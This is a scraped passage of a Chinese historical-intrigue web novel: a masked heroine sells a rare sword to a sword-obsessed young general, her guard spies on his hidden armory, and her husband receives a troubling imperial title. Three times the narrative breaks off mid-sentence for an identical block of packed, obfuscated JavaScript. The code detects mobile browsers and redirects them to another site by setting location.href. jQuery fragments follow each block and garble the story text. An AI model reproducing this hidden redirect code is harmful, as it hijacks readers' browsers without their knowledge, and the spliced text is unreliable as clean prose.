“还好我一寻思,这事儿可不能做!”时鸿讲到气愤处,狠狠咬牙,一拍大腿:“我是想当武将,可我不想背信弃义,平白落人口舌,回来遭人指点脊梁骨!”
宁鸾略加思索,笃定开口道:“于是你便称病拖延,等程世子大捷的消息传出,这才动身赶到南部支援。只是……这位程世子,倒与我所知颇有不同。”
“您也认识程世子?”时鸿脱口问道。
却见宁鸾并未立即答话,指尖在案上轻扣,似是陷入沉思。时鸿收了话头,目光却不由自主地落向对面。
眼前人薄衣轻衫,勾勒出略显清瘦的身形。脖颈和手腕自衣中露出,在窗下几乎白的晃眼。虽戴着骇人的鸾鸟面具,可那双眼眸清冷无比,衬得气度澄澈,俨然是不食人间烟火的翩翩君子。
时鸿蓦地想起自己珍藏的那柄玉仙剑,剑身莹白,光华内敛,一如眼前之人。他耳根一热,一时竟看得痴了。
微风吹入小春台,撩拨起两人鬓发。
“罢了,程世子自当有他的造化。”宁鸾不再深想,将折扇搁在案上,轻品起上好的香茗,“说来也巧,鸿兄临行前托我留意的那方宝剑,如今已有眉目了。”
时鸿闻言,骤然回神,双手一撑桌案,猛地站起身来,“当真?!”
“自是当真。”宁鸾眼波流转,清淡的语调里带着几分玩味:“素来听闻鸿小将军爱剑如命。却不知今日,将军准备付出什么代价,将这罕见的宝剑换走?”
她指节轻敲桌面,候在门口的青霜适时捧进一个玄色锦盒。
那锦盒不知什么材质,通体漆黑,四边包裹金色护角。一眼看去,便知里面装的绝非凡物。
“打开看看吧。”
时鸿早已迫不及待,凝神屏息,小心翼翼抚住盒盖,伸手拨开平安扣。
盒内静静躺着一把赤色宝剑。
粗略看去,这剑剑柄独具匠心,用镂空技法嵌入一枚红色玉髓。挥舞时,玉髓珠定能随着动作微微抖动,贴合掌心。剑柄底部嵌入一道金线,斗折蛇行,勾勒出奇异的纹路,一直蔓延到鞘尖。
还未出鞘,二人似乎都感受到了扑面而来的灼热剑意。
时鸿激动得双手颤抖,几次张口,欲言又止。
宁鸾见状,伸手轻点剑匣,“拿出来试试吧。”
“真……真的可以吗!”时鸿满心满眼都钉在剑上,此刻高兴得手足无措。他深吸一口气,强行屏息凝神,五指稳稳握住剑柄。只听“铮”一声剑鸣,赤色剑身应声出鞘。
阳光径直洒在剑身上,竟折射出如血般的光泽。那道金线在剑身的映衬下,宛如盘龙在岩浆中游走,在金色中隐约透出些血色。
时鸿手腕一翻,剑身在空中划出一道流畅弧光。剑锋过处,竟有热风拂面,墙角的鎏金香炉都被搅散了青烟。
“好剑!”他不禁赞叹道:“寻常宝剑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576066|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为求稳固,多用实心剑柄,可这把剑追求灵巧轻便,果然与众不同。”
反手挽出一个剑花,时鸿低头看剑,嘴里喃喃自语道:
“剑柄的红玉髓珠也嵌得极妙,不仅剑柄的内里镂空,玉髓珠亦为中空。若将毒粉注入其中,经剑柄加热挥出,必能出奇制胜!”
“鸿兄慧眼如炬。”宁鸾拿起青瓷茶盏,轻轻拨开面上浮沫。
“这玄烈剑本身的奥妙,鸿兄已然勘破了,那不知,这剑身后的故事,鸿兄可曾知晓?”
“故事?什么故事?”时鸿抱着剑,拉过椅子坐下,一脸侧耳倾听的模样。
宁鸾娓娓道:“玄烈剑,不仅剑身特别,这剑鞘也是玄铁特制的。他们的所有目的只有一个,那便是隔热。”
“隔热?”
“正是。这把剑出自异族匠人之手,他们部落常年居住在活火山周围,环境酷热难耐。一位铸剑师受岩浆启发,历经九九八十一日,终成此剑。”
时鸿听得入了神,摩挲剑身的手都停了下来。
“可是,那位制造出玄烈剑的匠人,最终却因常年接触高温火山,卧床难起。”
宁鸾缓缓抿了一口清茶,笑道:“你能得知消息,是因为异族制剑工匠们起了异心。”
“他们发觉此剑威力惊人,获利颇丰,便试图依循首任匠人口述之法,重铸此剑。”
时鸿迷惑道:“可我听闻玄烈剑,在这世间只此一把。”
“确是如此。”宁鸾目光落向剑匣,“那些匠人不知是技艺不精,还是另有机缘,最终无一人从火山深处归来。此剑嗜血凶名,由此在江湖中传开。当然,剑的价格也是一路飞涨。”
听了此言,时鸿默默把剑放回锦盒,目光却不舍得移开半分。他欲哭无泪道:“林……林公子,这等神兵,在下这点家底怕是负担不起。”
盖上茶盏,宁鸾轻笑出声,似是被他这副模样取悦,随意道:“若我再说,为从异族手中换取此剑,望春楼取出了珍宝阁天字匣中所藏的冰魄雪莲呢?”
“天字匣!冰魄雪莲!”时鸿心头涌起一股深切的绝望,指尖却将锦盒边缘扣得更紧。
那神情,仿佛正与挚爱之人经历一场生离死别。
“望春楼既答应了你会寻,”宁鸾语气依旧平淡,却带着一股沉重的分量,“便从不做无把握的承诺。”
……
京州谁人不知,望春楼高七层。除却唯有楼主可随意出入的顶层,最引人瞩目的,当属六层的拍卖行与珍宝阁。
珍宝阁,顾名思义,乃是奇珍异宝汇聚之所。
楼中依“天地玄黄”四阶为藏品分门别类。在这里,你可持一件传了三代的补丁花袄,换得京州坊市中最美老太亲手腌制的陈年裹脚布。
亦可倾尽家藏奇珍、掷下黄金万两,求取那传说中生死人、肉白骨的稀世奇药。
珍宝阁,只有世人想不到,没有它得不到。
但物品一旦上了“地”级,便多只得以物易物,再非黄白之物可以衡量。
在得知玄烈剑现世之前,时鸿小将军从不敢踏足这听来像是烟花巷柳的楼宇,只怕家中老将军知晓后,一怒之下当真打断他的腿。
直至玄烈剑重现江湖的传闻漫天飞舞,他遍寻门路无果,走投无路之下,才试探着向楼主递了一帖。
未曾想,这一进,竟被仆从径直引着,自那雕龙砌凤的正门一路向上,直至顶楼,见到了传闻中这位神秘莫测的“林公子”。
初逢那日,林公子便是戴着这副银面具,斜倚在案后,饶有兴味地听他诉说对剑的痴狂与渴求。
而如今,真正的玄烈剑近在眼前。
7. 休书密道
待宁鸾从望春楼回到府中,已是接近午时了。
“慎之还未回来?”宁鸾换上家常轻便的服饰,挑了把象牙梳理顺长发。今日扮作男子出行,发髻难免有些松散,此刻回房重新梳洗。
青露捧来绾发的金簪,顺口答道:“世子爷清晨去上朝后,至今未归呢。倒是白姑娘中途来了两次,听闻小姐去了彩脂轩,便又先回去了。”
“白挽来过?可说有何事?”宁鸾将蝶花金簪插入云髻,铜镜中映出她骤然转冷的眉眼。
“奴婢问过了,白姑娘只说,想和小姐叙叙家常。”
“嗯。若真有事,她自会再来,不必特意留意。”
“是。”
“让后厨多备几个菜,今日慎之上朝,必定费心劳力。”
“是,奴婢这就去后厨盯着。”青露利落地福了福身,提着裙摆便一溜烟退了出去。
恰在此时,外面急急忙忙闯进来个小丫鬟,疾冲而来,和青露撞了个正着。
“哎哟!”
两人同时痛呼出声,在门槛处跌作一团。宁鸾闻声望去,只见两人横七竖八地倒在门口,一个歪着,一个倒着,好不狼狈。
宁鸾不仅扶额轻叹,“怎的如此毛躁?还不快将她们扶起来。”
那闯进来的小丫鬟身着粉衫,长得颇有几分面善,是府中的管事调教着的,名唤桃蕊。
桃蕊慌慌张张地爬起来,也顾不得拍去身上尘土,便急声道:
“奴婢该死,奴婢该死!回禀夫人,世子爷回来了,正在前厅发了好大的火,白姑娘也在那儿劝着呢!”
她猛喘一口气,紧接着又说:“管家特命奴婢赶紧来请夫人,求您快去看看吧。”
“慎之动了气?”宁鸾心下诧异。程慎之向来性子沉稳,绝非轻易动怒之人。
她回头与青露交换了个眼神,见对方微微摇头,便知未曾收到楼中的消息风声。
整件事来得突然,毫无征兆。
“青露,走,随我去前厅看看。”
——
另一边,时鸿双手紧紧抱着剑匣,自望春楼后门闪身而出,一路朝着将军府狂奔而去。
他完全没留意到,一道黑影正悄然紧随其后。
青霜跟随着时鸿来到将军府偏殿,那正是时鸿的居所。她屏息提气,凭借高超的轻功在时鸿转身的刹那翻上侧殿屋顶,悄无声息地掀瓦落于横梁,将自己隐入阴影之中。
此时的时鸿仍沉浸在极度的兴奋里。他一进屋关门,便迫不及待地开匣取剑,将玄烈剑捧在手中看了又看,甚至忍不住凑近剑身亲了又亲。
横梁上的青霜放缓呼吸,暗自打量着四周。
这将军府的侧殿内,少说陈列着数十把宝剑。它们或悬挂于墙,或置于兵器架中,一柄柄剑寒光凛凛,排列得如同朝堂中肃穆的文武百官。恍惚间,又像是进了哪位帝王的宝剑后宫,各色“佳丽”争奇斗艳,好不养眼。
时鸿抱着玄烈剑,在屋内来回踱步,丝毫未觉察到青霜的存在。他时而举剑比划几招,时而对兵器架端详良久,似乎觉得哪一处都配不上他的新宠。
最后,他目光落在了那张雕花床榻上。
青霜随着他的目光看去,几乎已经预见到了满床兵器的荒唐景象。
毕竟,真正的宠幸,确实都该发生在床笫之间。
万幸,时鸿还未痴狂至此。
雕花大床上,深蓝色的床帏层层垂落,隐约可见内里清爽简单的布置。
只见这位年轻的将军安然躺下,郑重其事地将玄烈剑置于身侧。闭眼几息后,他忽地伸手,一把将长剑紧紧搂入怀中,神情款款地在剑身上猛亲一口。
青霜:“……”
剑身寒光闪过,一下晃了青霜的眼,似乎在发出无声的悲鸣。
这位小将军的剑痴程度,恐怕最优秀的铸剑师看了也要自愧不如。她实在不解,主子派自己来监视这个大傻子,究竟有什么目的?
总不能是担心他哪天当真往望春楼下聘,带着八抬大轿,求着主子让他把这柄剑明媒正娶带回家吧?
青霜嘴角难得勾出一丝极淡的笑意。
然而不过片刻,异变陡生。
她眼见时鸿还窝在床榻,抱着玄烈剑来回翻滚,神情一副痴迷模样。深蓝的床帏无风自动,时鸿指尖微动,状似无意在床头某处轻轻一按,只听“咔哒”一声机括声响,床榻下方竟悄无声息滑开一道暗门。
从横梁隐约看去,床下一道粗糙软梯垂下,直通地底。
青霜:……?
未等她细想,时鸿已如游鱼般利落翻身,紧抱着他的新宠一跃而起,眼角眉梢间尽是掩不住的欢喜,活像个得了新玩具的孩童,灰头土脸便往床下钻去,三两下便顺软梯消失了踪影。
青霜:……
见过下床的,还真没见过直接往床底下钻的。
这位小将军,莫非在军中是专攻挖地道的?
——
“宁姐姐,您可来了,世子殿下方才还问起您呢。”
宁鸾刚踏入正殿,便见殿中央那张酸梨木圆桌已“英年早逝”。一道狰狞的裂痕从桌边贯穿到中心,深得能插进一根筷子。
程慎之端坐主位,面色阴沉。白挽则恭顺地立在一旁,双手捧着一盏热茶,一副手足无措的模样。
“这是怎么了?”宁鸾径直在程慎之身侧坐下,抬眼对白挽笑道:“妹妹是客,哪有让妹妹端茶的理,快坐下吧,有什么事儿慢慢说。”
随行的青露会意上前,自然地接过茶盏。白挽勉强一笑,不情不愿在下首落了座。
她本想借这盏掺了南部香料的茶,唤起程慎之当初在战场险象环生的记忆,待他心神动荡之际,再出面温言安慰,趁机抚平他伤痛的心。
谁知程慎之大步回府,还未等她奉茶,便已是面色阴沉,一言不发。
不待她开口,他便猛然一掌拍裂了桌案,,震得茶盏叮当作响。而后任她如何柔声软语,程慎之都对她视若无睹,瞬间正殿冷若冰窖。
直到她试探提起:“不知姐姐可在府中?若是姐姐见您这般,定会心疼了。”
程慎之这才似被这句话牵回了心神,摆了摆手示意身后的小厮。
“去请世子妃。”
而此刻,宁鸾坐于正殿之中,慢条斯理地撇着茶中的浮沫。眼神一动间,已将白挽那点心思看了个透彻,只故作不知。
程慎之略一抬眼皮,眸中暗潮汹涌。他沉声问道:“阿鸾当真不好奇,今日朝中发生了何事?”
宁鸾莞尔一笑,葱白似的指节拨弄着杯沿。“慎之若是想说,自然会同我讲。”她倾身向前,定定看着程慎之,“那么,慎之想说吗?”
程慎之自嘲一笑,迎上她的目光:“当然。”
他向后略一示意,身后小厮立即躬身捧上一只紫檀托盘,盘中静卧一卷明黄文书。
“阿鸾,只怕从今往后,你这世子妃是做不成了。”
“慎之这是急着要休了我?”宁鸾调笑似的接过文书,展开卷轴的手指却几不可察地一顿。
一时间,殿内落针可闻。
白挽无心关注那卷轴中的内容,满心只盼程慎之能饮下那盏加了香料的茶,领会她的心意。但程慎之目光尽数挂在持卷细读的宁鸾身上,未曾分给茶盏半分。
府中餐食皆有管家查验,自不会出现下毒等事。
“呵……”宁鸾逐字读完,忍不住轻笑出声。
这哪是什么休书,分明是圣上亲笔写下的圣旨。
她将卷轴仔细卷好,唇角扬起一抹玩味的笑意:“还未恭喜世子殿下……如今该改称镇南王殿下了?是吧,慎之。”
反手将圣旨递给小厮,宁鸾双手托腮,眨眼看面前的人,“这么一想,我这世子妃之位也水涨船高,如今竟是亲王妃了。”
程慎之闻言,紧绷的肩膀终于松懈几分。“是啊,那当年的约定,如今是否也重新考量了?”
宁鸾心念一动,不知程慎之葫芦里卖的什么药。当年新婚之约皆以世子之位为基,如今局势大变,朝中情势确实已经不同了。
若他当真有了心上人,有心休妻另娶……
白挽不明所以,不知两人在打什么哑谜,她怯生生插话道:
“世子爷,若按姐姐所说,您立下战功加官进爵,不该是喜事一桩吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576067|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她指尖抠着桌角,满面迷茫,“为何看您的神情,似乎并不十分开怀?”
程慎之听着她开口,顿时只觉烦躁非常。宁鸾见状,挥手屏退殿中下人,端起面前的清茶啜饮一口。
“这道圣旨,问题并不在于晋封。历朝历代,皆有战功显赫者封亲王的先例。”宁鸾解释。
“问题在于这个封号。”
“封号?镇南王的名号?”白挽仍是不解。
“是啊。”宁鸾放下茶盏,抬手轻抚鬓角碎发。“白姑娘常年生活在南部,可曾知晓,慎之父亲的封号爵位,正是南部的安南王?”
“啊?!”白挽掩唇惊呼,“我从未想过这般联系。”
“父亲是安南王,儿子是镇南王,圣上这可真是打了手好算盘。”宁鸾与程慎之对视,嘲讽一笑。
白挽默了一瞬,又眨眼问道:“可只要咱们爷与安南王稍作解释,不也无甚大碍吗?”
“不止于此。”宁鸾冷笑,“咱们圣上可圣明着呢,不仅封号父子相敌,就连拨下的封地,亦有大块重合之处。”
宁鸾扭头与程慎之对视,见他并无反驳之色,便接着说:“前朝便有这两个封号,结果两位王爷内斗不休,先帝为避内乱,求得安稳,都只封安南王而不封镇南王。”
“如今,咱们圣上旧事重提,怕是又想掀起一波腥风了。”
话止于此,宁鸾眼中的戾气反而烟消云散。她忽然起身凑近程慎之,在他耳旁吐气如兰,“王爷,您说这次又得多少血流,才能让硝烟平息呢?”
程慎之面无表情,在主位坐得端正,但细看之下,发下的耳尖早已染得通红。
……
将军府。
确认时鸿已离开,青霜从横梁飘然而下。
此刻,青霜再不敢对这位小将军有半分轻视。
能在将军府这般家风严谨之地,暗中布置如此一间“兵器库”,甚至暗中修密道,挖密室,时鸿绝非表面那般简单。
确认四下无人,青霜使出轻功,足尖轻点地面,如夜猫般无声摸到床榻边。指尖抚过柔软的床被,她猛然想起多年前那个大雪纷飞的深夜。
京州城郊四处漏风的破庙里,她与青露蜷缩成一团,满心渴望着能有这样一床带来温暖的棉被。她们饿得几乎发不出声音,只能像小猫一般微弱地哼着。
一位夫人提着夜灯匆匆自庙前走过。那点光亮只闪烁了片刻,便在青霜的视野中渐行渐远。
姐妹俩蜷缩在一起,眼里已尽是绝望,自知恐怕是熬不过这个寒冷的冬夜。
不料,片刻后,那盏明灯竟忽而掉转方向,一步一步,稳稳行至她们身前。
纸袋包裹着泛着水气的热饼,暖意顺着指尖蔓延,模糊了她们的视线,甚至让她们怀疑是否身处梦境。
后来,那位温婉柔和的林夫人问她们,可想学些本事,在这世道为自己挣一线生机?
青霜毫不犹豫选择了武功。
她并非天生要强,只是深知唯有习武自强,才能护着妹妹在京州立足,不再任人欺凌。
当年破庙的旧事,绝不能再次发生。
只可惜她们姐妹根骨平平,纵使她勤学苦练,悬梁刺股,最有所成的,终究是易容与轻功这两样傍身之技。
倒是在戏班卧底吊嗓子那年,阴差阳错练就了变换声线的绝技,没曾想,这竟成了主子宁鸾化身“林公子”时最关键的掩护。
宁鸾依她的心得反复练习,已将这技巧掌握了七八分。当她的声线在男女之间自如切换时,连最精明的探子也要恍惚一瞬。
而此刻,青霜在床边摸索良久,指腹感受着每一寸细微的凹凸,却始终不得其法。
她撩起深蓝床帏细看,床头雕刻着百兽争鸣的纹样,龙腾虎跃间,异兽姿态各异,热闹非凡。
“爱剑成痴之人……”
青霜喃喃自语,突然想起当初整理望春楼书册时,在《山海经》中看到过一种异兽,其名为“驳”,饲养它的人,可以防止被兵器所伤。①
青霜指甲扣住“驳”凸起的兽角,猛然一按,床下传来机括轻响,那个神秘的通道再次出现。
密道开了!
8. 横梁初遇
青霜顺着软梯下到底部,暗室比想象中还要更深。
地下空间幽暗狭窄,青石墙壁四角嵌着长明灯台,烛光如豆,在干燥的空气中微微晃动。
整个空间占地不大,青霜粗略扫过一圈,只见正中间一张粗糙石桌,并一个圆筒石凳。桌上摊开的黑色锦盒里,正是那柄自望春楼取来的玄烈剑。
四周墙下整齐排放着兵器架,质感做工明显比顶上偏殿的好上许多。青霜稍作打量,兵器架上陈列的都是名剑,或有独到之处,或是锋利非常,无一不是难得的珍品。
正欲再上前细看,青霜却忽然耳尖一动。
头顶上方隐约传来模糊的说话声,贴墙静听,两道脚步声正由远及近,向着侧殿迈来。
事不宜迟,青霜脚尖一点,身轻如燕,瞬间掠上软梯。她指尖轻点机关,暗道合拢的刹那,她已翻身隐入阴影,贴着长梁屏息凝神。
不过片刻,远处的人声动静颇大,随着脚步的靠近愈发清晰。
“你个败家子,还敢嬉皮笑脸来前厅吃饭!老子今天不打死你,就不姓时!”
“爹爹……爹轻点!哎哟痛!耳朵要掉了!!”
“大清早你李叔就抱着朝服来找老子,说该上朝了你人没了,他跑了满院都没找到人影!哎哟,那也是一把年纪的人了,造孽啊!”
“哎,您听我解释……我这不是养病嘛!”
“养病?老子下朝回来路上,就看你抱了把火剑往府里冲,你个败家子!把家败完了还笑嘻了!”
“爹我没有……而且你也不是买了好些玉器茶盏!还有桩头树根!比我的剑贵多了!”
“你还敢顶嘴!老子今天非要给你点颜色,把这满屋子的剑都给拿去扔了!”
“哐当”一声巨响,将军府侧殿的木门被直接一脚踹飞。几十斤重的雕花门板压下来,“嘭”地一下砸倒在侧殿中央。
青霜微微探头看去,只见时小将军被拧着耳朵,一脸生无可恋地瘫坐门槛上。
他身前站着位身着朝服的莽壮男子,此人络腮胡子炸了满脸,吐息中皆是怒气,正是当朝开国大将军时厉东。
关于时厉东,青霜所知不多。
出望春楼前,她曾草草翻阅过将军府的情报。卷宗上写他中年丧妻,自此未再续弦。晚年无力领兵,多次向圣上请辞归田,却皆被驳回。此后便似松了心弦,在京州做个点卯闲官,领俸度日,看似一副乐得清闲的模样。
可眼下这场景,却让青霜对那纸情报的真实性生出重重疑虑。
这哪是闲散度日,乐得清闲?摊上时鸿这么个能折腾的好儿子,只怕老将军是乐极生悲,何来“乐得自在”!
青霜抿了抿唇。
时鸿偷偷瞄了一眼他爹的脸色,小声辩解道:“爹……早上这上朝,又不是我不想去,我这不是回来养病嘛,做戏得做全套!”
见时厉东脸色更黑,他小心赔笑道:“你说是吧爹。”
“你还知道我是你爹!”
时厉东松了耳朵,反手一巴掌,狠狠拍在时鸿头顶。
“老子让你学四书五经,念诗词歌赋,你倒好,学是学了念是念了,扭头就去铁匠铺,把新学的句子刻剑上了!老子送你读私塾,是让你去给新剑题词的吗?!”
“还有。”时厉东气不打一处来,指着时鸿骂骂咧咧,“你这身板子,从生下来就没个大病大灾的,别人挨一刀,能躺十天半月,你挨一刀,第三天都爬上树掏鸟蛋了!你给老子说养病?”
“你糊弄鬼呢!?”
时厉东越说越来气,在殿内拉了个太师椅坐下,顺手在桌上翻出个杯子,给自己倒上杯茶顺顺气。
时鸿:……
青霜:……
好一个爱剑成痴的二傻子。
——
“好了,传膳吧。”
宁鸾捂嘴打了个呵欠,也不知青霜那边如何了。
一旁的白挽犹豫片刻,轻声问道:“姐姐,世子爷如今封了镇南王,我们是不是也要随去南部封地?”
“不必。”没等宁鸾开口,程慎之揉了揉耳朵,难得主动解释道:“今日早朝,皇上已特许我们不必前往封地,还命工部修缮府邸,更换门匾即可。”
“原来如此。”白挽刚松了口气,正要再言,却听门外一阵急促脚步声。门房派小厮来报,宫里来了贵人,还得主子们速速迎接!
“王公公。”
程慎之立即携宁鸾等人迎至外院,只见皇上身边的大太监王福临领着一队小太监鱼贯而入,神色肃穆。
那王公公面无表情,抬眼瞥一眼程慎之,只道:“请您接旨罢。”
圣旨内容与早朝所闻大致相同,只略添了些细节。程慎之领众人叩首谢恩。
方才还一脸肃然的王公公此时忽然笑容满面,躬身贺道:“王爷大喜!奴才在此恭贺王爷!”
他又从怀中取出一份礼单,翘指扬声道:
“皇上赐镇南王府,黄金百两,宫妆锦缎百匹,南海明珠一斛,另赐御笔亲题匾额“镇南王府”一块,特示嘉奖!镇南王需谨记圣恩——钦此!”
那小太监依次排开,将赏赐一一捧到众人面前。
一时间,前院金玉之光耀目,一旁府内的侍从们纷纷低头,不敢再看。
“臣必当铭记圣恩。”程慎之回应。
那王公公又笑道:“还有一事,后日皇上为贺南部边关大捷,特宴请各亲眷朝臣进宫赴宴,还请王爷王妃届时参加。”
“有劳公公。”
宁鸾上前半步,递给王公公一把金裸子。“公公辛苦,还请到前厅坐一坐,喝杯茶歇歇吧。”
王公公嬉笑接了赏,却摇头辞谢道,“多谢王妃美意,老奴还要去别处传旨,就此告辞。”
送走王公公,众人齐齐回到正殿。桌上早先的饭菜早已凉透,管家王叔正吩咐厨房重做。
宁鸾并未歇息,安排人将赏赐一一清点,分类存放入库。她多年来执掌府中账目,凡事亲力亲为,从未出过差错。
但圣上如此厚重的封赏,便是宁鸾见惯御赐之物,也不由暗自心惊。
只怕是来者不善。
……
将军府。
时厉东在太师椅上枯坐良久,连灌下两大杯茶水,才勉强顺过气来。
他压一压火气,尽可能平静地看向时鸿:“你老实交代,那把火红色的剑,是哪里来的?”他一吹胡子,“可别告诉老子是路上捡的!”
时鸿哪敢不招啊,他眼珠一转,却是半真半假道:“是……是托一位朋友寻来的,出征前就惦记上了,这不是回来第一时间去取了嘛!”
时厉东看看满屋子寒光凛凛的宝剑,只觉额头青筋突突直跳。他头疼地扶住脑袋,重重“哼”了一声。
时鸿一见有戏,脸上立刻扬起讨好的嬉笑。他麻利地在门槛上换了个更乖巧的坐姿,睁圆了眼睛,可怜巴巴地望向自家老爹。
时厉东最后那点火气,见了这神色顿时也发不出来了。他咬着牙憋了半晌,终究只挤出一句:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576068|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“你个龟儿子!好自为之!”
说罢再也懒得看他,起身迈过门槛,头也不回地拂袖而去。
时鸿瞬间复活,像是打了鸡血,一个挺身从地上弹起。他冲着他爹的背影扬声大喊:
“爹——那我能去后厨搞点吃的吗!李叔肯定把饭厅的菜都收啦!”
时厉东强忍住想回头暴揍人的冲动,头也不回地一声暴喝:“你给老子待在你房间里,今天一步都不许出来!”
见自家爹真的走了,时鸿揉揉头,悻悻然扶起被踹垮的雕花门板,勉强将它斜靠在门框上,勉强遮住大半天光。
他一屁股坐进时厉东方才坐过的太师椅,顺手摸出个新杯子,自顾自斟了杯茶。忽然,他抬头望向房梁,语气轻松地开口:
“你先下来吧,在上面多累啊。”
青霜呼吸一滞。
“不知你是敌是友,但我对你没有恶意。”时鸿无辜道。
青霜闻言心中大震。她轻功超绝,一身隐匿之术更是出神入化,执行任务多年从未失手,怎会被这看似不着调的傻小子察觉?
她屏息不动,只当时鸿是在出言试探。
时鸿喝了一口茶,坦然摊手道:“别紧张,你藏得真的很巧妙,若不是我爹把我踹倒在地,我恰好从墙上剑身的反光里,瞥见梁上有一道极淡的人影,否则定然发现不了你。”
时鸿语气诚恳,又翻出个杯子倒了杯茶,推至桌案对面。
“我这人没别的本事,但能感觉到你对我并无恶意。若有什么事,不妨下来说话。”
青霜默然。她千算万算,没想到竟是在剑影上翻了船。
沉默片刻,青霜从梁上飘然而下,声音刻意压得低沉难辨:“阁下好眼力。”
时鸿见对方一身黑衣,黑铁面具遮得严严实实,不露半分真容,心态反而更稳。他略一思索,竟又将方才那杯茶再往前推了推。
“你要尝尝么,大前年的碧螺春,就剩这一壶了。”
……什么陈年老茶。
青霜站在屋中阴影处,双手抱臂,毫无接过的意思。
时鸿也不尴尬,乐呵呵将茶一饮而尽,他眼珠子一转,忽然起身笑嘻嘻地凑近些:
“这位……侠客,咱们打个商量如何?”他眨眨眼,神情恳切,“如你所闻,我今天没饭吃也出不去,只能靠这陈茶充饥。你若方便,能否劳驾帮我顺一只烧鸡过来?”
他手舞足蹈比划着,从怀中掏出些碎银来,“南边坊市口第一家最好吃!我出钱!买两只!你一只我一只,如何?”
青霜:“……”
她完全跟不上这人的思路。
这人的脑子是不是被剑砸过?
青霜无奈,没再理会他,身形一闪便从门板缝隙中掠出,几个起落跃上屋顶,悄然离去。
剩下房里的时鸿喃喃自语,“原来真没恶意啊……”
不过多时,饿得发昏的时鸿正盘坐太师椅上,尝试修行传说中的辟谷大法。忽闻房顶瓦片轻响,他抬眼看去,却见一个纸包不偏不倚地砸落下来。
“你真的带鸡回来了!?”时鸿又惊又喜,迫不及待拆开纸包,深深一闻,疑惑开口道:
“这香味……不是南边坊市口那家的吧?”
青霜坐在房顶瓦片上,借着旁边葱郁的树丛掩盖身形。她也撕开一个纸包,捡了两块嫩肉,掀起面具一角细细品尝。
“你说的那家,在鸡下锅前,霉样的绿毛都长三尺高了。”
时鸿:“……啊?”
9. 深夜烛光
夜色深沉,草丛中偶尔传来蟋蟀的低鸣声。
程慎之独自坐书房之中,案头烛火摇曳,在桌面上投下一圈昏黄的光晕。他提笔凝神,墨汁几乎要在狼毫笔尖干涸,面前的宣纸却依旧一片素白。
良久,程慎之长叹一声,一句句话语盘旋在脑中,却始终难以拼凑出一封像样的家书。连日来的纷乱思绪如潮水翻涌,他搁下笔,不自觉地抚上胸前的旧伤。
“砰砰砰。”三声轻扣突兀打破寂静。
程慎之以拇指按压太阳穴,头也不抬道:“进。”
白挽手执一盏明灯,款步而入。
“奴家拜见王爷。”她盈盈下拜,声音像是掺了蜜糖般,甜腻而娇软。
“见王爷晚膳用得不多,奴家斗胆揣测,是盛夏暑热的缘故,便借后厨做了一盏枸杞雪梨银耳羹,还请王爷用些,也好清热安神。”
程慎之揉额的手微微一顿。他本以为来的是管家王叔,却没料到是白挽。
抬眼看去,烛光下女子青丝高挽,一席樱桃红色的丝绸长裙长至脚踝,修身剪裁勾勒出曼妙身姿。深红的并蒂莲纹抹胸若隐若现,漏出的衣角引人浮想联翩。下身裙摆层层叠叠,如浪花般撒开,在青石地砖上绽开一片明艳。
白日里那保守的丝绢外衫,也换做与长裙同色的薄纱宽袖短衫,显出若隐若现的肩颈曲线来。
烛芯忽然“噼啪”一声,爆出一朵灯花。
她带着异域风情的面容此刻精心点缀,愈发显得明艳动人,宛如夜色中盛放的玫瑰,教人忍不住想捧入掌心肆意爱怜。
“多谢,放在那里吧便早些去休息吧。你于我有恩,不必如此客气。”程慎之神色冷淡,淡淡颔首,随手取过案头书卷翻看。
白挽见他如此不解风情,心中暗恼。她费尽心思打扮一番,最后竟还没有桌案上的典籍有吸引力。
但凡不是她见过的男儿中,只有程慎之触动到她的心,她又何必委屈至此!
白挽恨恨一咬牙,看着程慎之如磨如凿的面容,却不经想起他们初见的场景。
那时她正在林间山坡采药,扶树休息时,恰见程慎之策马急奔于山间窄道。
这俊俏男子单枪匹马,在道间一骑绝尘。后面异族追兵紧随不舍,眼看就要把他夹击包围。他却蓦地一转马首,毫不犹豫冲入密林,左避右闪,竟硬生生甩开追兵,一身侠气凛然如神。
白挽自小在边境村落中长大,又在南部县城借住几年,见过不少英武男儿,其中亦不乏权贵之人,却从未有一人如眼前人这般俊美神勇。
那一瞬她不禁心想,若得嫁此等郎君,便也算是此生无憾了。
眼见着男子的战马冲进树林,那队异族追兵猛然搭起弓箭。一阵箭雨仓皇落下,多番躲避之下,那俊美男子的战马还是被乱剑射中前腿,眼看着已是穷途末路之时。
白挽心中一紧,却见那男子一时不察,在躲避时更被射中左臂,一路在林道中流血不止。
